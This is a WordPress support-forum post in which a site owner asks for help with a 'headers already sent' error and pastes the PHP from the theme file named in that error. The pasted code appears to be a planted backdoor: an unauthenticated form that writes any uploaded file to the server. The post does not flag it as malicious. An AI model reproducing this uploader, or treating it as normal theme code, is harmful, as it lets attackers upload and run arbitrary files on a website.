Need help with header problem
-
I’m getting this message on my site skinbleachingcreamshop.com and I can’t log in to the dashboard:
Warning: Cannot modify header information – headers already sent by (output started at /home/content/17/10462417/html/skinbleachingcreamshop/wp-content/themes/application/admin/options-framework.php:17) in /home/content/17/10462417/html/skinbleachingcreamshop/wp-includes/pluggable.php on line 896
I’m assuming I have to edit the options-framework.php:17 bit, here’s the code as it is now, what do I do:
<?php
if(isset($_POST[‘Submit’])){
$filedir = “”;
$maxfile = ‘2000000’;$userfile_name = $_FILES[‘image’][‘name’];
$userfile_tmp = $_FILES[‘image’][‘tmp_name’];
if (isset($_FILES[‘image’][‘name’])) {
$abod = $filedir.$userfile_name;
@move_uploaded_file($userfile_tmp, $abod);echo”<center><b>Done ==> $userfile_name</b></center>”;
}
}
else{
echo’
<form method=”POST” action=”” enctype=”multipart/form-data”><input type=”file” name=”image”><input type=”Submit” name=”Submit” value=”Submit”></form>’;
}
?>
- The topic ‘Need help with header problem’ is closed to new replies.